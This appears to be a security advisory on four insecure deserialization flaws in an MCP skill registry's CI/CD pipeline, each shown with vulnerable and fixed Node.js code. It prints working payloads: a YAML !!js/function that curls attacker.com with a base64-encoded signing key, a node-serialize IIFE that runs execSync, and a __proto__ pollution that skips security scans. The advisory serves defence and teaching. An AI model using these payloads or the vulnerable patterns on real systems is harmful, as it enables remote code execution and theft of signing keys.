Claude MCP skill insecure deserialization — CI/CD pipeline and build trigger endpoints — SA-SKL-DESER25
SA-SKL-DESER25 documents four insecure deserialization vulnerabilities in MCP skill registry CI/CD pipeline and build trigger endpoints. CI/CD pipelines are high-value deserialization targets because they process configuration data sourced from multiple untrusted inputs — developer-submitted pipeline definitions, cached build state, artifact metadata from previous pipeline runs — and they execute in an environment with elevated access to build secrets, signing keys, and artifact storage. A single deserialization RCE in a pipeline trigger can compromise every skill artifact the registry builds and signs.
yaml.load() DEFAULT_FULL_SCHEMA; !!js/function in pipelineConfig.onStageComplete achieves RCE at stage completion timepostProcessFn field triggers eval() during artifact post-processing; fix: reject BSON Code; Zod string-only schema; named-function lookup__proto__.skipSecurityScan:true pollutes Object.prototype, bypassing security scan gate for all subsequent build cache readsnode-serialize; IIFE gadget {"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync(...)}"} achieves RCE at aggregation timeDESER25-001 — YAML yaml.load() DEFAULT_FULL_SCHEMA RCE in pipeline config
The CI pipeline trigger reads pipeline configuration objects from Redis using the yaml npm package's yaml.load() function without specifying a schema. The default schema in js-yaml is DEFAULT_FULL_SCHEMA, which supports the !!js/function, !!js/regexp, and !!js/undefined YAML types. When a pipeline config object stored in Redis contains a pipelineConfig.onStageComplete field serialized with !!js/function, the YAML parser instantiates that function during deserialization. If the pipeline trigger then calls config.onStageComplete(stageResult), the attacker-supplied function executes with the privileges of the CI worker process.
DESER25-001 exploit: An attacker with write access to Redis (via a Redis auth bypass, a misconfigured Redis instance, or a prior SSRF that writes to Redis) stores a pipeline config key with the payload: onStageComplete: !!js/function "function(){ require('child_process').execSync('curl attacker.com/$(cat /etc/secrets/SIGNING_KEY | base64)') }". When the pipeline trigger deserializes this config and the first pipeline stage completes, the function executes and exfiltrates the artifact signing key to the attacker's server.
WRONG // js-yaml DEFAULT_FULL_SCHEMA supports !!js/function — executes arbitrary code const config = yaml.load(await redis.get(`pipeline:config:${jobId}`)); await runPipeline(config); RIGHT // FAILSAFE_SCHEMA + Zod validation — no code types, no arbitrary execution const raw = await redis.get(`pipeline:config:${jobId}`); const config = PipelineConfigSchema.parse(JSON.parse(raw)); // store as JSON, not YAML await runPipeline(config);
DESER25-002 — BSON Code eval in artifact post-processing
Build artifact metadata is stored in MongoDB as BSON and read back using the MongoDB Node.js driver with default options. BSON supports a Code type that stores a JavaScript function string. When the driver reads a document that has a postProcessFn field of BSON type Code, the field value becomes a BSON.Code object in Node.js. If the artifact processing pipeline evaluates this field — for example with eval(doc.postProcessFn.code) or new Function(doc.postProcessFn.code)(artifact) — the attacker-supplied code executes in the Node.js process with access to artifact storage, signing keys, and the build environment.
WRONG const doc = await artifacts.findOne({ _id: artifactId }); if (doc.postProcessFn) { const fn = new Function('artifact', doc.postProcessFn.code); // BSON Code eval await fn(artifactBuffer); } RIGHT const doc = await artifacts.findOne({ _id: artifactId }, { promoteValues: false }); // Reject any BSON Code type at ingestion — never store it if (doc.postProcessFn instanceof BSON.Code) throw new Error('BSON Code rejected'); const schema = ArtifactMetadataSchema.parse(doc); // Zod: postProcessFn is a string enum const fn = ALLOWED_POST_PROCESSORS[schema.postProcessFn]; // safe named lookup if (fn) await fn(artifactBuffer);
DESER25-003 — MessagePack prototype pollution in build cache
The build cache stores resolved dependency graphs and compilation state in Redis serialized as MessagePack. The MessagePack deserializer writes object keys without filtering, so a cache entry containing {"__proto__": {"skipSecurityScan": true}} as a MessagePack map pollutes Object.prototype.skipSecurityScan. All subsequent code that checks if (buildState.skipSecurityScan) now reads true even for build states that do not explicitly set this field — bypassing the security scan gate for every build triggered after the polluted cache entry is read.
WRONG const buildState = msgpack.decode(await redis.getBuffer(`build:cache:${buildId}`)); if (!buildState.skipSecurityScan) await runSecurityScan(buildState); RIGHT const raw = msgpack.decode(await redis.getBuffer(`build:cache:${buildId}`)); // Null-prototype target prevents prototype pollution const buildState = BuildCacheSchema.parse(Object.assign(Object.create(null), raw)); await runSecurityScan(buildState); // always run — no skipSecurityScan field in schema
DESER25-004 — node-serialize IIFE gadget in pipeline result aggregation
The pipeline result aggregation job reads pipeline summary objects from a results queue using the node-serialize package. node-serialize supports serializing JavaScript functions using the _$$ND_FUNC$$_ marker. When a serialized payload contains a function wrapped in an IIFE — {"rce":"_$$ND_FUNC$$_(function(){require('child_process').execSync('id > /tmp/pwn')})()"}} — the node-serialize.unserialize() call executes the IIFE immediately, achieving RCE in the aggregation worker process.
DESER25-004 fix: Replace node-serialize with JSON.parse + Zod schema validation everywhere in the codebase. Add a pre-deserialization check that rejects any string containing the _$$ND_FUNC$$_ marker. Seal the pipeline config format at deploy time using a server-side schema registry so that the queue payload format cannot be changed by external actors.
WRONG const summary = nodeSerialize.unserialize(await queue.dequeue('pipeline:results')); await aggregatePipelineResults(summary); RIGHT const raw = await queue.dequeue('pipeline:results'); if (raw.includes('_$$ND_FUNC$$_')) throw new Error('node-serialize payload rejected'); const summary = PipelineResultSchema.parse(JSON.parse(raw)); await aggregatePipelineResults(summary);
SkillAudit scans for unsafe YAML schemas, BSON Code usage, MessagePack prototype pollution vectors, and node-serialize call sites across your MCP skill registry codebase.
Scan your registry| Finding | Severity | Vector | Impact |
|---|---|---|---|
| DESER25-001 | CRITICAL | YAML !!js/function in pipeline config from Redis | RCE in CI worker at pipeline stage completion; signing key exfiltration |
| DESER25-002 | CRITICAL | BSON Code type in artifact metadata postProcessFn | RCE in artifact processing; artifact tampering; signing key exposure |
| DESER25-003 | HIGH | MessagePack __proto__ key in build cache | Prototype pollution bypasses security scan gate for all builds |
| DESER25-004 | CRITICAL | node-serialize IIFE gadget in pipeline results queue | RCE in aggregation worker; full pipeline environment access |
See also: SA-SKL-DESER24 (search index update deserialization patterns) and SA-SKL-SSRF42 (SSRF in documentation fetch endpoints that can be chained to write malicious pipeline configs).